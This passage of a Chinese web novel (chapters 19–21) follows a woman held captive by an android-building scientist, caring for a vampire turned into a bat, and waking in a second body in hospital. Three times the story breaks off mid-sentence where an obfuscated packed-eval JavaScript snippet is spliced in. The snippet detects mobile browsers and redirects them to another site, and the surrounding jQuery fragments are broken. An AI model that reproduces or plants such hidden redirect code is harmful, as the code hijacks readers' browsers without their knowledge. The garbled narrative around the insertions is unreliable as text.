房间温度渐渐变得正常,她翻身下床,走到女孩身前。
女孩显然不正常,十几分钟的时间里只眨了一次眼睛。
金禾做了这么多次任务,虽然成绩不行,但见过东西不少,她镇定自若地凑上前,把目光放到女孩胸口的身份牌上。
编号:03
姓名:江子馨
江子馨是江子墨妹妹的名字,金禾已经能猜到这是仿生人了。
国家严令禁止仿生人的制造,她知道江子墨可能有制造仿生人,可她没想到这人这么变态,制造了一个自己妹妹。
她柔声道:“子馨。”
“嗯!”江子馨的声音比前面高了一个调。
接下来,无论金禾问什么问题,江子馨都像树懒一样,反应慢半拍,只会回应一个“嗯”字。
她问得口干舌燥,都没问出任何有效信息。
“帮我叫一下你哥哥,好吗?”金禾咬字清晰,她夹着嗓子,尽可能让自己的声音听着温和。
江子馨慢吞吞地摇头:“哥哥不在家。”
“我好饿……”
江子馨立刻行动起来,她大步流星地离开,跟刚刚说话卡壳的模样判若两人。
江子馨一走,外头的模样一览无余。
外面就像是客厅与保安室的结合,有云朵形状的米白色沙发,每个角落都摆满了绿植,装满淡黄色的鲜花在花瓶上绽放。
有一个巨大的屏幕实时播放着金禾的一举一动。
她看着屏幕里的自己正生无可恋地扒拉着栏杆,胸口忽然涌起一阵心酸。
自己不会被拿去做什么人体实验吧?
如果真的是那样,自己只能自我解决后重开了。
栏杆之间的距离很近,只有四指宽,金禾顶多只能伸出半截手臂。
周围没有任何时钟,也没有能看见外界的窗户。
她只能眼巴巴等着江子馨回来。
“咔。”
门开了,金禾在看见来人是江子墨的一刻,心情降到冰点。
金禾连忙后退几步,跑到床上,那被子闷住自己的脸。
江子墨走到窗台前,脸色阴郁:“过来吃饭。”
金禾露出一只眼睛,偷偷看着江子墨摆盘布菜,她不紧不慢地下床,走到窗台前看有什么菜。
她其实已经饿得前胸贴后背了,可她看着这清汤寡水的饭菜还是提不起兴趣。
葱花豆腐汤清澈见底,四季豆干巴巴,里头的褶皱像是抬头纹,糖醋排骨焦得不成样子,黑乎乎的。
“这怎么吃?”
这是什么玩意?猪食吗?
“我喂你。”
19. 黑暗料理
“这是你做的?”金禾盯着四季豆上颗颗分明的盐,害怕地咽了口唾沫。
这菜里面真的没毒吗?
江子墨掰开一次性筷子,睨了眼金禾道:“对。”
看着如此寡淡,卖相如此丑陋的菜品,金禾觉得说这是猪食都是抬举江子墨的了。
专业的事情能不能交给专业的人?监狱饭菜都比这要好。
“你就没有其他什么想问的?”江子墨夹了口米饭递进去,“张嘴。”
有,想问问你做的是屎吗?不对,屎都比这营养丰富。
金禾反正还有副身体,直接说出了自己的部分感受:“我怕有毒,你先吃。”
江子墨把米饭放到自己嘴里,他咀嚼了两下,眉峰蹙起,拿起纸巾就吐了出来,他又喝了口汤,汤在嘴里含了许久,他才吞下去,最后,他咬了口糖醋排骨,不出意外的,他又浪费了一张纸。
“米饭没熟,我再去做。”
“江子墨,我吃泡面行不行?”
“不可以,不健康。”
金禾捂着额头,把额前的碎花全部撩了上去,深深叹了口气。
“你觉得这个好吃吗?”
“这里没有泡面,要吃什么你自己做。”江子墨往边上跨了一步,消失在了金禾的视野里。
边上的墙壁里忽然露出一个方形的黑洞,一副手套和一个头盔通过里面的传送带送到洞口
头盔像是飞行员的专用全包式头盔,纯黑的手套上面覆盖着银色的手骨图案。
“这是……”
“自己研究。”说完这话,江子墨径直离开。
这人怎么这样子?多说几句会死啊。真是有够讨厌的。
金禾戴上手套和头盔,世界陷入黑暗,耳边划过一声嗡鸣,眼前倏然亮起光点,光点汇聚成一个厨房的俯视图。
她试着动了动手,厨房的天花板上固定的机械臂也跟着动了动。
机械臂拉开冰箱门,冰箱里有猪肉、玉米、青菜……
金禾看着这么丰富的食材陷入沉思。
江子墨做菜做成那副鬼样子,他干嘛还买那么多菜?
第一次这样做饭不太熟练,她打算下碗面随便对付一口。
沸水冒泡,热气上腾,她下了面,又加了切成丝的白菜,随意搅了几下就盖上了锅盖。
待面煮软,她便用漏勺捞起面,沥掉汤水。
江子馨全程在一边看着机械臂忙上忙下,等调料调好,不等金禾做出任何反应,碗就被江子馨抢走了。
“诶诶诶,我的面!”金禾无能狂怒,只能看着面被拿走。
不讲饭德,吃饭不给厨子留一口!
碗跟着江子馨左拐右拐,最后被放在一张餐桌上,
一片白雾飘起,江子墨接过江子馨递来的筷子,他自然而然地把面当作是江子馨做的,不带犹豫地吃了起来。
在他们没注意到的桌底,一排文字浮现:
【病娇mod加载中,下载进度20%……】
【江子墨的美食依赖症下载完成!】
碗里的面转移到肚子里的速度越来越快,不多时碗便见了底。
“今天有进步。”江子墨收拾碗筷,放到自动洗碗机里。
江子馨像是只小鸭子,紧跟着大鸭子走,嘴里嘟囔道:“姐姐做,哥哥吃。”
“轰轰。”
洗碗机的噪音覆盖了周围的一切声音。
江子墨看了眼手表,大步流星地离开厨房,走前不忘跟江子馨说:“没事不要叫我。”
……
“咕噜咕噜。”
金禾摸着和自己一样在叹息的肚子,坐在地板上,把自己缩成一团。
她听着外面的动静,打了个哈欠。
有没有人来在乎一下饥肠辘辘的我?
这些人怎么好意思跟我抢吃的!
“啪嗒。”
传送带忽然启动,一个金色的圆筒掉了下来,上面写着番茄鸡蛋牛肉面。
金禾对着传送带竖了个大大的中指,起身打开了饮水机的热水开关。
她迫不及待地撕开泡面的包装袋,面饼的香味混着调料包的咸香钻到鼻子里。
倒水、关盖、开盖、??吃面。
热腾腾面条下肚的那刻,金禾觉得自己活过来了。
她化悲愤为动力,计划着自己的复仇大计。
*
花瓶上含苞待放的几朵花都已经盛开,美丽的花朵给不了观赏人美妙的心情,这是金禾饭菜被抢的第三天。
是时候崛起了!
“姐姐,煮饭。”江子馨准时到栏杆前提醒她。
“好哒,马上!”金禾嘴角勾起笑容。
等江子馨离开房间后,她的笑瞬间收敛。
她一开始觉得江子馨是那种可可爱爱的仿生人,但是现在她发现这人心比她的哥还黑。
无论金禾准备了多少食物,江子馨通通都抢走。
金禾真想问问这个家是住着多少人,昨天她做了十碗面,江子馨她全部给端走了,一口汤都不给她留。
她已经吃了好多顿泡面,再吃下去她都要变成泡面了。
目前她已经牢牢掌握了机械臂的使用方法,现在,就是计划实施的时候了。
金禾控制着机械臂拿勺子在西红柿蛋汤里搅拌,她从柜子里拿出未拆封的盐。撕开包装袋后慢慢倒进去。
一阵熟悉的电音突然在脑子里弹出:
【亲爱的维修人员,7日即将结束,你还有十秒钟完成选择题。】
哎呦……
金禾手倏然一抖,盐像瀑布一样倾泻而下,满满的一包盐瞬间只剩下了一半。
“我选A,顾言秋的女搭档容槿。”
金禾立刻排除了B和D,陈可儿年纪还小,根本不懂爱,江子馨看着呆,CPU里面可能缺失了部分零件。
她凭借直觉选择了A,女助理是打工人,凭借她对于打工人的了解,打工人爱上一个混蛋老板的可能性只有0.01%。
【回答正确,之后恋爱脑提示将会消失,请工作人员自行辨别恋爱脑。】
金禾不解地皱眉,她拎着盐的手一松,盐连着袋子一起掉到汤里。
这是干嘛?都没发工资呢,就把重要工具拿走了,可恶……
“扑通。”
汤水四溅。
她用筷子夹出袋子,搅汤搅得更卖力了。
熬完汤,她又开始炒边上的糖醋排骨,她先是加入了正常分量两倍的糖,而后打开醋的瓶盖。
【宿主,我回来啦!】
激荡的声音吓得金禾一激灵,她的手一个不稳,把一瓶醋倒进去了大半。
这下糖醋排骨只剩下醋和糖了。
反正不是自己吃,金禾毫无心理负担地把剩下的醋全部加了进去。
她盖上瓶盖,平静问道:“你是怎么被拉去升级的?”
【我能量耗尽后马上返回到了系统空间里,系统空间里忽然出现了一个大洞,把我吸进去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938639|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,然后我就沉睡过去了。】
“这听起来不像升级的正规程序。”金禾关掉火,把没熟的糖排骨醋汤盛到碗里。
算了,管他呢,完不成任务大不了就去死,死前再带几个穷凶极恶的人下去。
江子馨几乎是在盛好的瞬间就夺走了碗,她眼里泛着星光,踏着小碎步跑开了。
“你升级了什么?”
【我多了一个省能量模式,然后宿主你多了一个控制界面,而且控制的身体栏多了一位。】
金禾摘下头盔,擦了擦额头的汗,一瞬不瞬地盯着面前的透明控制面板。
上头分别记录了金禾两副身体的各项指标,详细到血小板的数值,界面的右下角有个“使用这副身体”的红色方框。
身为南浔奶奶的身体已经能用了?
金禾指尖在红色方框上转了半圈,迟迟没有按下去。
还是自己之后再换1号身体比较好。
她接着翻到之后的几面,上面记载着各个男主对她的好感度和厌恶值,几位的厌恶值从高到低分别是:
江子墨[100][0]
南浔[60][20]
唐懿[50][10]
顾言秋[30][50]
??[暂未出现]
金禾不难以置信地看着厌恶值后面跟着的偏爱值,嘴角缓缓上扬。
大家在恨的同时还能爱我,看来我真的很有魅力了,哦吼吼。
她赶忙翻到最后记载攻略值的页面,满满的零鸭蛋刺痛了她的眼。
“这是不是坏的?”
【维修组这边好像攻略值计算和我们那边不一样,只要有厌恶值,攻略值一律为零。】
滚啊!
金禾恨不得化成厉鬼索命,把那维修组的几个老不死的领导的精气全部吸光光。
她朝着外头看去,花瓶里簇拥在一起鲜黄的花已经成了垂暮的老人,花瓣凋谢,摇摇欲坠,跟她此刻耷拉着头的模样别无二致。
“咔哒。”
客厅的门被打开,江子墨穿着白大褂进来,他的脸色不算好,他手里攥着一个白色的毛球。
金禾滚到床上装睡,监控上,她的一举一动都被江子墨收入眼底。
“金禾,顾言秋要死了,你喂一下。”
金禾从被子里露出一只眼睛,认出江子墨手里的是顾言秋原形,她躲在被子里瑟瑟发抖。
不是吧,大哥你真搞人体实验啊。
“我给他注射太多返祖剂了。”江子墨把顾言秋运到传送口,他走前不忘添上一句,“他现在有点不聪明,你别弄死了。”
脚步声远去,金禾掀开被子,蹑手蹑脚地凑近顾言秋,她拿起之前泡面里送的叉子,戳了戳顾言秋。
刹那间,原本奄奄一息的顾言秋张开翅膀,飞扑到金禾身上。
金禾眼疾手快把他摁住,随后把他固定在手心。
顾言秋原本洁白的毛如今染上了灰色,金禾嫌弃地拿毛巾把他包成一团。
好好的聪明孩子,就这么傻了,好可怜哦!
他圆圆的脑袋和尖尖的耳朵露在外头,身上像是裹了层蚕丝,不过顾言秋注定不能像蛾一样随意飞翔,现在的他只能任人摆布。
金禾看着面前浑身发颤,眼里满是恐惧的顾言秋,她伸出一根手指,温和地摸了摸他的头。
嘿嘿嘿,这毛摸着真舒服。
刚刚江子墨让自己干嘛来着?好像是喂一下,不知道蝙蝠吃不吃方便面。
20. 醒来
*
“哗哗哗。”
水龙头里的水流到江子墨手上,他抽了两张纸巾擦手,坐到餐桌上。
桌上的菜色和前几天的大相径庭,除了一个西红柿蛋汤是正常的颜色,其他的黑的黑、棕的棕。
不过江子墨并不在乎,他从小就是吃仿生人做的饭长大的,只要没毒,他都能咽掉下去。
江子馨是他按照去世妹妹相貌制作的仿生人,江子墨不知道她是什么时候学习做饭的,但她做的东西确确实实还算能下肚。
他试探抿了口西红柿蛋汤,五官顿时皱在了一起,他轻咳几声,压低眉毛,看着站在他身前龇着个大牙的江子馨:“你是不是盐放多了?”
“不是我放的。”
“那是谁放的?”江子墨拿筷子的动作一顿。
“那个被你关在家里的姐姐。”
他冷嗤一声:“她让你端给我吃的?”
“我抢的呀。”江子馨把手搭在身后,踮起脚尖。
“那她吃什么?”
“我之前存的泡面。”
江子墨眼神一愣,思绪慢慢飘到金禾身上,隔空不能传递情绪,却能增加金禾对他的怨恨。
房间里的金禾此刻正给蝙蝠洗身体,她看着手里哼哼唧唧、缩在洗手台角落的顾言秋,心里没来由地涌现出愧疚。
怎么搞得她好像在逼迫良家妇男一样?
一双水汪汪的葡萄大眼流露出恐惧,顾言秋的叫声一会像是狐狸,一会又像是老鼠,叫得金禾脑子一团乱麻。
她既怕弄疼它,又怕它洗不干净。
“呼呼呼。”
吹风机的声音一出,蝙蝠小子勾着毛巾的手就抖个不停。
金禾第一时间拔掉吹风机的插头,她拿毛巾一点点擦拭着黏成一缕缕的白毛。
她抱着顾言秋坐到床上,默默调高空调温度。
吸血鬼会感冒吗?应该不会吧。
她举着顾言秋,一人一蝙蝠面面相觑,她郑重其事道:“顾同志,在你变聪明之前,你就叫顾小秋了。”
她实在没法把眼前这个家伙和顾言秋画等号,她有种想把顾小秋含嘴里的冲动,但对于顾言秋,她只想咬下对方的脑袋。
希望自己以后能变成僵尸,世界末日的时候就能送坏人全部上西天。
顾小秋动了动鼻子,眼睛一眨不眨地看着金禾,没人能看出它曾经是一只聪明的吸血鬼。
“姐姐,记得喂蝙蝠水果。”
江子馨的声音从客厅传来,传送带启动,运来了一个小果盘,上面的香蕉、苹果显然是刚从冰箱拿出来的,摸着冰冰凉凉。
金禾剥开嫩黄的香蕉皮,看着月牙似的果肉,吃了好几条泡面的金禾决心为顾小秋试毒,她毅然决然地咬了一口,痛苦地吃了一口一口。
“小秋啊,不是我不给你吃,这个香蕉太甜了,你年纪大,牙口不好,少吃一点。”
她细细品尝着,不一会儿,吃的只剩下一半,她愧疚地瞄了眼眼巴巴望着她的顾小秋,忍痛割爱,把剩下的香蕉塞到它嘴里。
她吃一半,顾小秋吃一半,她可真是个好人。
金禾咬了口苹果,脆脆的果肉在口腔里爆汁。
她眼睛蓦地亮起,吃得只剩下一半的时候,她放到了顾小秋的面前,大方道:“吃吧。”
蝙蝠小口小口地啃着,苹果一点点变少,最后只剩下了果核。
“苹果底下还有一点呢,不要浪费,吃!”
顾小秋听不懂金禾的话,但这不妨碍它吃东西,他张开嘴巴,对准金禾的手指咬了下去。
一股电流窜过手指,延至四肢,金禾迅速缩回手,呼吸混乱,心跳如鼓。
“你咬我!”手指上渗出血珠,鲜红的液体不断膨胀。
吸血鬼改不了喝血,就像狗改不了吃屎。
血凝固了也是浪费,金禾平放顾小秋,把血擦到纸巾上,拿着纸巾在他面前晃:“浪费也不给你!”
她洗漱完就上床了,她把顾小秋包好扔到枕头旁,闭眼就睡着了。
……
迷迷糊糊间,她一会儿感觉到一只大老鼠在身体里乱窜,一会儿又感觉到食蚁兽伸着舌头在她身体里找吃的。
她一个翻身压住了身上的异物,从被子里掏出手摸了摸枕边的毛巾。
毛巾半摊在那里,上面空无一物。
身侧传来动物的痛苦的哼唧声,那种声音像是铁锤,瞬间敲碎了金禾用铁做的心脏。
好吧,她心软了。
金禾用被子闷住脑袋,缓缓抬起眼皮,掏出顾小秋。
黑暗里,一双黑色的眼睛泛着淡淡的光。
“你要好好睡觉,到外面随便找个地方挂着睡觉吧。”
她像是抛垃圾一般,把顾小秋往外头随手一扔。
确认对方远离自己后,她立刻裹紧被子。
顾小秋要是真的想要咬她,她也防不住,干脆随便对方折腾,不要打扰她睡觉就好了。
这般想着,她一个翻身就睡了过去。
*
房间里的光一会黄一会白、一会蓝一会绿。
金禾反反复复按着灯的开关,无聊地托着腮,盯着墙壁发呆。
每天到了固定时间,房间的灯将会自动亮起,扰得金河不得清梦。
表面上她只是在睡觉中途醒来了一次而已,可实际上,她的睡眠质量大大下降。
她只是想要好好睡一觉而已!
“我受不了了!我要换个身体!”
金禾拍案而起,她原本觉得控制两个身体会累死自己,可现在她觉得自己这样坐以待毙也不是个办法。
她躺在床上,果断地换个身体。
在天花板上裹着翅膀的顾小秋猛地睁开眼,它张开翅膀,飞到了金禾身边,钻到了被子里。
……
眼前一暗一明,金禾看着白花花的天花板,闻着消毒水的味道,像是个植物人一般,无法控制自己的身体。
边上的交谈声陆陆续续传到她耳朵里。
“她可能这辈子都醒不过来了,南先生,你要做好准备。”
“我知道了。”南浔的声音响起,他的语气沉闷,有气无力。
“南先生,你想要怎么安置你的爱人?”
金禾瞪大眼睛,张大嘴巴。
什么爱人?哪里来的爱人。
好孙子,背着你奶奶找女朋友,我要切掉那个姑娘的恋爱脑。
你这个毫无绅士风度的人根本给不了她幸福!
吊瓶挂在金属架上,滴液不疾不徐地坠下,病娇mod不紧不慢地下载着。
【病娇mod下载进度为30%,南浔的照顾强迫症下载完毕。】
【mod(附件:只针对救命恩人)特殊程序正在缓慢启动……】
南浔沉默片刻道:“我打算把她带回家,我觉得她在医院待得不舒服。”
金禾似乎嗅到了恋爱的酸臭味,她在心里呐喊道:
你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948178|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奶奶在医院待得也不舒服,奶奶要求不高,八个护工足矣!
最好是四男四女,如果是年轻人,她就在她房间看现场恋综看,如果是全熟人士,她也能看父母爱情,横竖都不愧啊!
“我晚点就给我爱人办出院手续。”南浔转身,朝着金禾走来。
南浔的脚似乎不是踩在地上,而是踩在她胸口上。
她紧闭眼睛,放轻呼吸,听着脚步声越来越近。
医生走到床尾,按着笔帽:“你爱人名字确认一下,是金禾,对吧。”
金禾在心里扣了个问号。
哈哈哈,病人名字怎么能记错呢。
南浔沉声道:“是的。”
金禾在心里踩了几个省略号。
哈哈哈,女朋友的名字怎么能记错呢。
一双温暖的大手覆上她的脸颊,淡淡的木质香钻进鼻子。
“我带你回家。”
她脑袋空白一瞬,这句话一字不漏地飘进她的脑子。
我带你回家~
带你回家~
你回家~
回家~
哦!孙子,你是要自己回家对吗?去吧去吧,不要管我。
金禾的CPU已经烧毁了,她的脑子转不动了。
滴液流进金禾体内,让她的心一点点变冷。
哈哈哈,南浔一定是为了逃避什么家族联姻,所以才这样乱认爱人的。
“医生,你去忙吧。”南浔把椅子拉到了金禾身边,静静地注视着她。
金禾才恢复清醒不久,脑子还是晕乎乎的,即便她努力克制着困意,困意还是把她哄睡觉了。
不知过了多久,手背忽然传来轻微的钝痛。
金禾懵懵地掀起眼皮,顺着方向望去,却什么都看不见,她朝上看去。
最顶上的输液瓶空空如也,暗红色的血珠正一点一点漫上底下的管壁。
她轻轻动了一下手指,可被握住的手指根本动弹不得。
她困难地转动脖子,余光里,一个人正趴在她的床边,握着她的手熟睡。
阳光被摇曳绿叶过滤,漏到南浔的头发上,晃动的发丝像是被打上了一层柔光。
两只手一冷一暖,金禾的左脑右脑相互搏击。
她到底是要装睡还醒来呢?
输液报警器响了良久,可身侧的人还是睡得很熟。
金禾恢复了一点力气,她抽出左手,拔掉了右手上的针头,费了九牛二虎之力撑起身体,靠在床头。
该来的总会来,不如提早面对呢。
喉咙里像是被塞了团干棉絮,难以吞咽。
要是口腔里的细菌有意识,都会吐槽她的舌头像是干裂的土地。
她目光落在了床头柜上的矿泉水上,小心翼翼移动身体,生怕吵醒南浔。
手不断靠近矿泉水,并成功抓住瓶子,她把瓶子往自己这头拉着。
瓶子跨越了床头柜和床之间的大峡谷,来到了金禾身边。
她按住瓶盖,使劲打开。
瓶盖和瓶身牢牢黏在一起,她只能用牙齿分开它们。
“咕噜咕噜。”
冰凉的水流过干渴的喉咙,她托起瓶身,越喝越起劲。
原本趴着的南浔不知道什么时候醒了,他挺直背,看着金禾道:“慢点喝。”
金禾僵硬地侧过身,放下矿泉水,咽下了嘴里含着的水,眨着无辜的眼睛,小声道:“对不起,吵醒你了,你知道我这是在哪里吗?”
21. 失忆
“这里是医院,你前段时间出了车祸。”南浔主动把她手里的矿泉水拿走,拧上盖子,放到一旁。
屋外叶子沙沙作响,屋内寂静地只剩下南浔忙前忙后的脚步声。
他响起床头的呼叫铃,然后一手按住颈部,一手环住她的腰,用手臂的力量将她放平。
一群医生和护士涌入房间,医生戴着口罩,拿着手电筒对着金禾眼睛照来照去。
她一会儿被拉去拍片子,一会儿被拉去测各种各样的指标。
金禾浑身使不上力,她像是个没有意识的棉花娃娃,任由别人折腾,
地板上的光跟着金禾一样到处变换位子,她坐在床上,盯着地上的光影,打了个哈欠。
有系统力量的加持,她身体恢复得很快,不过两小时,她已经能自如地控制双手了。
“你好,我们抽个血。”
护士弯下腰,细小的针头扎进皮肤,红色的液体流过管壁,落在血培养瓶上。
金禾正看得起劲,一只手忽然遮住了她的视野。
这是干嘛?
她拉开南浔的手,抬头仰望着他,皱着眉头,满脸写满不解。
南浔其实也不知道自己这是在干嘛,他就是忽然看什么都不舒服,看扎进金禾手臂里的针头不舒服,看少了一半的矿泉水不舒服,看被子的褶皱不舒服……无数蚂蚁在他心头爬来爬去,只有看到金禾的时候,他才会好受一点。
“抽完了。”护士拔出针管,拿着血培养瓶走了。
……
金禾在床上躺好,不经意地问道:“刚刚忘记问了你是我的谁?”
趁着这个机会快把我放了吧!
她眼里闪着期待的光芒,她虽然很想坑一笔钱,但是现在这个情况,她还是想逃之夭夭。
她要把自己从江子墨的魔窟里救出来!
南浔攥着拳头,缄默半晌:“我是你男朋友。”
金禾的笑容瞬间消失了。
不好意思,她这边岗位已经饱和了,不接受新的未婚夫了!
“曾经是的,我们已经分手,你那边没有亲人,我会照顾到你好起来。”南浔松开拳头,替金禾掖了掖被脚。
原来是前夫哥吗?这个岗位暂时有空余。
金禾觉得自己已经好起来,她可以当场表演倒立旋转。
为了不吓到别人,她暂时歇了这个心思。
可是她不能直接说自己已经好了,她只能乖乖躺在床上。
江子墨走到床尾,蹲下身去摇摇杆。
床垫的前半部分慢慢直起,她慢慢被托起来。
医生走进病房,把笔放在桌上,一张小学数学试卷在她面前摊开,他敲了敲试卷:“会写吗?”
“会。”金禾拿起笔,打开笔帽,认真开始答题。
灰尘在光里跳舞,笔在纸上奔波。
写完后,医生又问了她一连串的问题,她一板一眼地回答。
“你记得你男朋友吗?”
“不记得了,但他说他是我前男友。”
“你喜欢吃什么?”
“我需要尝一下才知道,暂时想不起来了。”
……
最后,医生得出结论,金禾失忆了。
他双手插兜,对着南浔道:“住院再观察几天吧。”
金禾听着二人谈话,闭上眼睛装睡。
交谈声像是催眠曲,她还没按下交换身体的按钮,人就睡了过去。
【监测到二号身体遇到危险,现在将由二号身体接管意识。】
“啪。”
手术灯发出刺目的白光,金禾强撑着眼皮,一头雾水地看着自己被固定在实验台上的手脚。
她只睡了一小会儿,怎么醒来就进手术台了?
空气里刺鼻的味道呛得嗓子发紧,她扭动脖子,被接下来映入眼帘的一幕惊得冷汗直流。
一个跟她几乎一模一样的人此刻正躺在她左手边,只不过对方并没有头发,也受到任何禁锢,
真是见鬼了……
她闭上眼,不断给自己洗脑,告诉自己这只是梦。
她试着动了动手脚,捆着她手脚处的铁圈和载着她的实验台不停吸收着她的热量,她不由一哆嗦,打了个寒战。
好吧,这不是梦。
仪器的嗡鸣扎根在她脑里,她对着系统道:“屏蔽我的痛感。”
【好的,宿主不要怕,我始终在你身边。】
“谢谢你,但是我身边似乎不缺人。”
或许这都不是人。
金禾把头往右转,右边摆满了一排的脑袋,和她一样的脑袋。
天呐,这么完美的脑袋居然有一、二、三、四、五个。
这是搞什么?江子墨是要拿自己做什么奇怪的人体实验吗?
她盯着和自己长相相似的人,心里涌起奇异的感觉,她既觉得害怕又感到新奇。
原来自己侧面看是这样的吗?
她努力伸长脖子:“我能不能控制边上那个身体?”
【我连接试试!】
【连接三号身体……连接失败,理由:该身体部分功能缺失。】
“哎呀,怎么还是个残次品?”金禾抬起头,确认了房间门的位置在自己脚的朝向
实验室有着门的一面有着一个巨大的玻璃,她看不见玻璃外面,剩下三面都是柜子,柜子里摆满了各种各样的药品和器材,还有各种各样的脑袋。
那些脑袋都是机械脑袋,有的弹出眼珠,有的少了个耳朵……大部分的脑袋都不完整,部分暴露内部组装的机械。
金禾在一堆奇形怪状的脑袋里找到了三颗熟悉的脑袋。
她爸爸的、顾言秋的和江子墨自己的。
她眯起眼睛,确认再三,心中更加肯定了江子墨是个变态。
“吱——”
门忽然开了。
江子墨走了进来,他穿上手套,戴上头套,把自己的头包得严严实实,一根头发丝都没露在外头。
耳畔响起金属刀具碰撞的声音,她苦口婆心道:“哥,我们有话好好说,君子动口不动手……”
“你的终端我打不开,你在里面安装了什么?”江子墨的眼神无波无澜,似乎他只是在问一件小事情。
金禾怕自己的哭泣引起江子墨的厌恶,于是嘟哝道:“我不知道。”
自己的终端现在由系统控制着,就算江子墨本事再大,他也攻击不了自己的终端。
对了,自己还有剧情点没有完成呢!
趁着江子墨转身去翻柜子的工夫,她着急地让系统传达自己和唐懿的聊天记录。
她的眼前浮现出和唐懿的聊天框,里面好多条未读消息。
[唐懿]:你在哪?
[唐懿]:管家说你辞退我了,我需要你辞退我的理由。
[唐懿]:你之前说的话还算数吗?帮助我妹妹的话。
[唐懿]:你人在哪?我为什么找不到你?
……
99加的内容金禾实在看不过来,她直接划到了最新消息。
男人的话,只看开头和结尾就够了。
[唐懿]:管家给了我三个月的工资,这是你给我的吧,什么时候让我回去上班?
[唐懿]:算了,我开学去找你。
她刚看完消息,面前忽然出现了一把刀,刀往脖子移动,越靠越近,在距离脖颈只有几厘米时,刀倏然停了下来。
“你父亲抓了很多血族,你知道他们在哪里吗?”
“我不知道,你怎么确定就是我父亲抓的。”
没有证据,金禾一律当谣言处理。
戴着乳胶手套的手在她脖子上游走,似乎在寻找什么位子,手停住,她的心也跟着漏了一拍。
手起刀落间,金禾什么都没感觉到,她眸里闪过困惑。
眼前的手术灯被移到另一侧,她的视野里跟着灯光的残影。
此时她才发现天花板安装了镜子,江子墨手上拿着一撮她的头发。
“你不怕我父亲发现是你搞的鬼吗?”
“怕什么?我和你的未婚夫都在病房里呢,我们是一起出的车祸。”
江子墨从口袋里掏出一个遥控器,按下几个按钮,天花板上的镜子变成了一面屏幕,上面播放着三个画面。
一个是金国栋坐在医院里扶额的画面,剩下两个画面分别是顾言秋和江子墨躺在床上。
市面上从来没出现过这么逼真的仿生人,他们或许功能还不完善,但外观上绝对是无可挑剔的。
屏幕的画面放得很大,金禾甚至能清晰地看见他们脸上的毛孔。
一个医生把金果冻拉到一边,把手术通知书递给他。
“我不签,这两个人都去死吧。”
那位医生正是容槿,容槿劝说无果,边走开边叹气。
金禾望着这一幕,心中感慨万千,这个父亲真有她的“风范”。
江子墨关闭画面,继续手上的动作。
“不用担心,晚上你的父亲就能见到你了”
金禾不知道江子墨心里打着什么算盘,但她觉得自己暂时应该是安全的。
“政府禁止制作仿生人,你不怕被抓。”
“这件事不还没有发生吗?”江子墨拿着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952284|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一条黑布,“头抬一下。”
金禾听话地照做,黑布盖住她的眼睛,冰凉的指甲擦过她的颧骨,勾住她的耳朵。
“可以了。”
黑布后面的结打在了耳朵边,并没硌到她的后脑勺,她晃着脚,淡定控诉道:“你妹妹把我饭抢走了。”
“这不叫抢,你在这里住了这么久,我没收过你任何费用吧?这是你的住宿费。”江子墨招呼着外头的江子馨进来,点头示意她将金禾抱到外面去。
真是强盗逻辑!比她还赖皮的人出现了……
金禾在黑布的遮盖下翻了个白眼,来到这个乙游的这些日子,她没有一天不想要吐出有毒气体毒死这些男主们。
“嗒嗒嗒。”
身上的三个铁圈解开,一个铁圈离开实验台,扣在了她的脚腕上,她身子一轻,便被江子馨抱起来。
“慢走不送。”
江子墨的声音从后头传来。
金禾环住江子馨的脖子,生怕掉到地上。
江子馨给她的感觉太不靠谱了,她实在是无法信任。
身子跟着江子馨的步伐一起摇晃,良久,江子馨道:“姐姐到了。”
金禾身体一倾,脚触碰到地,她摘下黑布,发现上面写着一红色的字:好好做饭。
她抬起头,她又换了一个房间。
这个房间比先前那个大了不少,多了和厨房连接在一起的客厅,还多了几扇窗户。
除了棕色的木地板,整个客厅都是由黑白构成。
窗户正对着一松树,夜幕降临,外头昏暗。
风拂过,松叶晃动。
窗帘被江子馨拉上,金禾坐在沙发上,四处打量,冲着江子馨问道:“那个蝙蝠呢?就是白白的那个东西。”
“姐姐,你睡觉的时候,它在咬你,所以我找了个笼子把他关起来了!”江子馨蹦蹦跳跳地跑到金禾房间里,拎出来一个笼子。
顾小秋的脚勾着笼子的铁丝,倒挂在笼子上方。
金禾起身接过笼子,仔细查看顾小秋。
身后的江子馨朝着门走去,临走前她嘱咐道:“你离开这个房间,这个铁圈就会爆炸哦。”
【宿主,这间卧室里面没有监控。】
金禾眼眸一亮,光着脚,匆匆走回卧室。
新的卧室比先前的大了些许,可床却小了很多,之前挤两人绰绰有余,但现在的挤两个人看上去都有些勉强。
